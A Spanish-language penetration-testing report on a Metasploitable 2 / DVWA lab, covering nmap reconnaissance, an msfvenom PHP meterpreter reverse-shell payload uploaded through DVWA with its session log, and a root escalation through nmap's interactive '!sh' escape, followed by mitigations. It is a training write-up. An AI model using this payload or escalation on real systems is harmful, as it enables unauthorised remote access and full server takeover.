

# **Reporte de Pentesting v2: Objetivo Metasploitable (DVWA)**

Reporte de Pentesting v2: Objetivo Metasploitable (DVWA) _____	1
1. Introducción _____	2
2. Metodología _____	2
3. Resultados _____	2
4. Escalación de Privilegios _____	4
5. Mitigación _____	5
6. Conclusión _____	5

# 1. Introducción

## Resumen del objetivo y alcance del ejercicio.

El objetivo de esta auditoría de seguridad fue realizar un test de intrusión (pentesting) ético sobre la máquina virtual Metasploitable 2, específicamente enfocándonos en la aplicación web vulnerable DVWA (Damn Vulnerable Web App). El alcance del ejercicio incluyó las fases de reconocimiento, escaneo, explotación de vulnerabilidades web y escalación de privilegios hasta obtener acceso total (root) al sistema operativo.

# 2. Metodología

## Herramientas y técnicas utilizadas:

Para llevar a cabo este ejercicio, se utilizó la distribución de seguridad Kali Linux y las siguientes herramientas:

- Nmap: Para el descubrimiento de host, puertos abiertos y detección inicial de vulnerabilidades.
- Navegador Web (Firefox): Para la interacción manual con la aplicación DVWA.
- Exploit-DB / Searchsploit: Para la investigación de exploits conocidos.
- Metasploit Framework (MSFVenom & Multi/Handler): Para la creación de payloads maliciosos y gestión de conexiones reversas.
- Técnicas Manuales: Abuso de binarios del sistema (Nmap) para escalación de privilegios.

# 3. Resultados

## Detalles de las vulnerabilidades explotadas

Se identificó que el servidor objetivo tenía el puerto 80 abierto ejecutando una aplicación web (DVWA). Mediante un escaneo inicial, se detectaron múltiples vectores de ataque potenciales.

## Evidencia de reconocimiento:

Se utilizó el comando nmap -sV --script=vuln <IP> para identificar servicios y vulnerabilidades.

```
5900/tcp open  vnc      VNC (protocol 3.3)
6000/tcp open  X11      SQL_injection (access denied)
6667/tcp open  irc      UnrealIRCd
|_irc-unrealircd-backdoor: Server closed connection, possibly due to too many reconnects. Try again with argument irc-unrealircd-backdoor.wait
| set to 100 (or higher if you get this message again).
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
MAC Address: 08:00:27:05:80:C4 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
About
Host script results:
|_smb-vuln-regsvc-dos: ERROR: Script execution failed (use -d to debug)
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: false

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 641.85 seconds
```

Tras acceder a la aplicación web con credenciales por defecto (admin:password), se confirmó acceso al panel de control.

## Investigación de Exploits

Se procedió a investigar vulnerabilidades de tipo "Command Injection" y ejecución remota de código en bases de datos públicas como Exploit-DB.

Date	Title	Type	Platform	Author
2020-10-28	Nagios XI 5.7.3 - 'mbs.php' Remote Command Injection (Authenticated)	WebApps	PHP	Matthew Aberegg
2020-03-23	rConfig 3.9.4 - 'search.crud.php' Remote Command Injection	WebApps	PHP	Matthew Aberegg
2019-05-14	Schneider Electric U.Motion Builder 1.3.4 - 'track_import_export.php' object_Id' Unauthenticated Command Injection	WebApps	PHP	Julien Ahrens
2019-03-13	elFinder PHP Connector < 2.1.48 - 'exiftran' Command Injection (Metasploit)	Remote	PHP	Metasploit
2019-03-04	elFinder 2.1.47 - 'PHP connector' Command Injection	WebApps	PHP	q3rv0
2018-01-15	pfSense < 2.1.4 - 'status_rrd_graph_img.php' Command Injection	WebApps	PHP	absolomb
2017-07-19	Citrix CloudBridge - 'CAKEPH' Cookie Command Injection	WebApps	CGI	xort
2017-05-17	WordPress Plugin PHPMailer 4.6 - Host Header Command Injection (Metasploit)	Remote	PHP	Metasploit
2016-06-27	My Little Forum 2.3.5 - PHP Command Injection	WebApps	PHP	hyp3rlinx
2014-01-07	Command School Student Management System - '/sw/admin_subjects.php?id' SQL Injection	WebApps	PHP	AtT4CKxT3rR0r1ST
2014-01-07	Command School Student Management System - '/sw/admin_school_names.php?id' SQL Injection	WebApps	PHP	AtT4CKxT3rR0r1ST
2014-01-07	Command School Student Management System - '/sw/health_allergies.php?id' SQL Injection	WebApps	PHP	AtT4CKxT3rR0r1ST
2014-01-07	Command School Student Management System - '/sw/admin_titles.php?id' SQL Injection	WebApps	PHP	AtT4CKxT3rR0r1ST
2014-01-07	Command School Student Management System - '/sw/admin_relations.php?id' SQL Injection	WebApps	PHP	AtT4CKxT3rR0r1ST
2014-01-07	Command School Student Management System - '/sw/admin_generations.php?id' SQL Injection	WebApps	PHP	AtT4CKxT3rR0r1ST

Exploit Title	Type	Path
ATutor 1.5.1pl2 - SQL Injection / Command Execution	WebApp	php/webapps/1298.php?id=
b374k 3.2.3/2.8 (Web Shell) - Cross-Site Request Forgery / Command Injection	WebApp	php/webapps/38688.txt
Bash - 'Shellshock' Environment Variables Command Injection	WebApp	linux/remote/34766.php
Bloginator 1.0 - SQL Injection / Command Injection (via Cookie Bypass )	WebApp	php/webapps/8244.txt
Cacti 0.8.6-d - 'graph_view.php' Command Injection (Metasploit)	WebApp	php/webapps/9911.rb
Cacti 0.8.7e - OS Command Injection	WebApp	php/webapps/12339.txt
Cacti 1.2.24 - Authenticated command injection when using SNMP options	WebApp	php/webapps/51740.txt
CF Image Host 1.65 - PHP Command Injection	WebApp	php/webapps/38699.txt
Citrix CloudBridge < 'CAKEPHP' Cookie Command Injection	WebApp	cgi/webapps/42346.txt
ClipBucket < 4.0.0 - Release 4902 - Command Injection / File Upload / SQL Injection	WebApp	php/webapps/44250.txt
ClipBucket < 4.0.0 - Release 4902 - Command Injection / File Upload / SQL Injection_export.php	WebApp	php/webapps/44250.txt
Codice CMS 2 - Command Execution (via SQL Injection)	WebApp	php/webapps/8272.pl
Command School Student Management System - '/sw/admin_generations.php?id' SQL Injection	WebApp	php/webapps/38950.txt
Command School Student Management System - '/sw/admin_grades.php?id' SQL Injection	WebApp	php/webapps/38944.txt
Command School Student Management System - '/sw/admin_infraction_codes.php?id' SQL Injection	WebApp	php/webapps/38949.txt
Command School Student Management System - '/sw/admin_media_codes_1.php?id' SQL Injection	WebApp	php/webapps/38948.txt
Command School Student Management System - '/sw/admin_relations.php?id' SQL Injection	WebApp	php/webapps/38951.txt
Command School Student Management System - '/sw/admin_school_names.php?id' SQL Injection	WebApp	php/webapps/38954.txt
Command School Student Management System - '/sw/admin_school_years.php?id' SQL Injection	WebApp	php/webapps/38946.txt
Command School Student Management System - '/sw/admin_sgrades.php?id' SQL Injection	WebApp	php/webapps/38947.txt
Command School Student Management System - '/sw/admin_subjects.php?id' SQL Injection	WebApp	php/webapps/38955.txt
Command School Student Management System - '/sw/admin_terms.php?id' SQL Injection	WebApp	php/webapps/38945.txt
Command School Student Management System - '/sw/admin_titles.php?id' SQL Injection	WebApp	php/webapps/38952.txt
Command School Student Management System - '/sw/health_allergies.php?id' SQL Injection	WebApp	php/webapps/38953.txt
CosCMS 1.721 - OS Command Injection	Remote	php/webapps/24629.txt
CoSoSys Endpoint Protector 4.5.0.1 - (Authenticated) Remote Root Command Injection	Remote	php/webapps/45131.py
CuteNews 1.4.0 - Shell Injection / Remote Command Execution	WebApp	php/webapps/1221.php
CuteNews 1.4.1 - Shell Injection / Remote Command Execution	WebApp	php/webapps/1289.php
D-Link DNS-343 ShareCenter < 1.05 - Command Injection	WebApp	php/webapps/43845.txt
Dolibarr ERP/CRM 3 - (Authenticated) OS Command Injection (Metasploit)	WebApp	php/webapps/18724.rb
Dolibarr ERP/CRM < 3.2.0 / < 3.1.1 - OS Command Injection	WebApp	php/webapps/18725.txt
Easy FTP Pro 4.2 iOS - Command Injection	iOS	ios/webapps/34305.txt
EkinBoard 1.0.3 - '/config.php' SQL Injection / Command Execution	WebApp	php/webapps/1329.php
elfinder 2.1.47 - PHP connector' Command Injection	WebApp	php/webapps/46481.py
elfinder PHP Connector < 2.1.48 - 'exiftran' Command Injection (Metasploit)	WebApp	php/remote/46539.py
elfinder PHP Connector < 2.1.48 - 'exiftran' Command Injection (Metasploit)	WebApp	php/remote/46539.rb
Emag CMS 0.1 rc 1 - File Disclosure / SQL Injection / Command Execution	WebApp	php/webapps/51673.sh
Fluorine CMS 0.1 rc 1 - File Disclosure / SQL Injection / Command Execution	WebApp	php/webapps/8036.pl
Gemitel 3.50 - '/affich.php' Remote File Inclusion / Command Injection	WebApp	php/webapps/24009.txt
GoAutoDial CE 3.3 - Multiple SQL Injections / Command Injection	WebApp	php/webapps/38941.txt
GoAutoDial CE 3.3-1406080000 - Authentication Bypass / Arbitrary File Upload / Command Injection	WebApp	php/webapps/36807.txt
Graugon Forum 1 - 'id' Command Injection / SQL Injection	WebApp	php/webapps/8089.pl
HastyMail 1.x - IMAP SMTP Command Injection	WebApp	php/webapps/28777.txt
HastyMail 1.0.1 - Command Injection (Metasploit)	WebApp	php/webapps/19758.rb
IBM Tealeaf CX 8.8 - Remote OS Command Injection	WebApp	php/webapps/32546.py
I_Librarian 4.6/4.7 - Command Injection / Server Side Request Forgery / Directory Enumeration / Cross-Site	WebApp	php/webapps/41979.txt
I_Librarian 4.6/4.7 - Command Injection / Server Side Request Forgery / Directory Enumeration / Cross-Site	WebApp	php/webapps/41979.txt

## Proceso de Explotación (Comandos y Herramientas)

Para explotar el sistema, se optó por una vulnerabilidad de "File Upload" (subida de archivos arbitrarios) combinada con ejecución de código.

- 1) Generación del Payload: Se creó un archivo malicioso shell.php usando msfvenom para establecer una conexión reversa: msfvenom -p php/meterpreter/reverse\_tcp LHOST=<IP-KALI> LPORT=4444 -f raw > shell.php
- 2) Subida del Archivo: Se subió el archivo a través de la sección "Upload" de DVWA.
- 3) Ejecución: Se configuró un "listener" en Metasploit (exploit/multi/handler) y se navegó a la URL del archivo subido para detonar el payload.

### Evidencia de Explotación:

Se obtuvo acceso exitoso al sistema con una sesión de Meterpreter.

```
[*] Sending stage (40004 bytes) to 192.168.1.150
[*] Meterpreter session 1 opened (192.168.1.149:4444 → 192.168.1.150:48114) at 2025-11-29 02:21:48 +0100
```

## 4. Escalación de Privilegios

### Técnicas utilizadas y resultados obtenidos

Inicialmente, el acceso obtenido fue con el usuario www-data (usuario de bajos privilegios del servidor web). Para obtener control total, se identificó que el binario nmap instalado en la víctima permitía el modo interactivo con privilegios elevados.

### Procedimiento:

- 1) Desde la sesión de Meterpreter, se accedió a una shell del sistema.
- 2) Se ejecutó el modo interactivo de Nmap: /usr/bin/nmap --interactive.
- 3) Se escapó a una shell del sistema desde Nmap usando el comando !sh.

## **Resultado Final:**

El sistema otorgó una shell con permisos de root.

```
meterpreter > shell
Process 5669 created.
Channel 0 created.
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@metasploitable:/var/www/dvwa/hackable/uploads$ /usr/bin/nmap --interactive
<r/www/dvwa/hackable/uploads$ /usr/bin/nmap --interactive

Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
sh-3.2# whoami
whoami
root
sh-3.2# █
```

## **5. Mitigación**

### **Propuestas para remediar las vulnerabilidades explotadas:**

1. Para la Subida de Archivos (File Upload):
  - Validar estrictamente el tipo de archivo y extensión en el servidor (lista blanca de extensiones permitidas).
  - Evitar que los archivos subidos tengan permisos de ejecución.
  - Almacenar los archivos subidos en un servidor o directorio separado sin permisos de script.
2. Para la Escalación de Privilegios (Nmap):
  - Actualizar Nmap a una versión moderna que no soporte el modo interactivo inseguro.
  - Remover el bit SUID de binarios que no lo necesiten estrictamente.
  - Restringir el acceso a herramientas de administración (como nmap) para usuarios no privilegiados (www-data).

## **6. Conclusión**

### **Impacto y Reflexión:**

El ejercicio demostró cómo una configuración débil en una aplicación web (DVWA en nivel 'Low') puede llevar al compromiso total de un servidor. La vulnerabilidad inicial permitió la entrada al sistema, pero fue la mala configuración interna (binarios desactualizados y permisos laxos) lo que permitió a un atacante tomar el control absoluto (Root). Esto resalta la importancia de la "defensa en profundidad": no basta con proteger la web, también se debe endurecer el sistema operativo interno.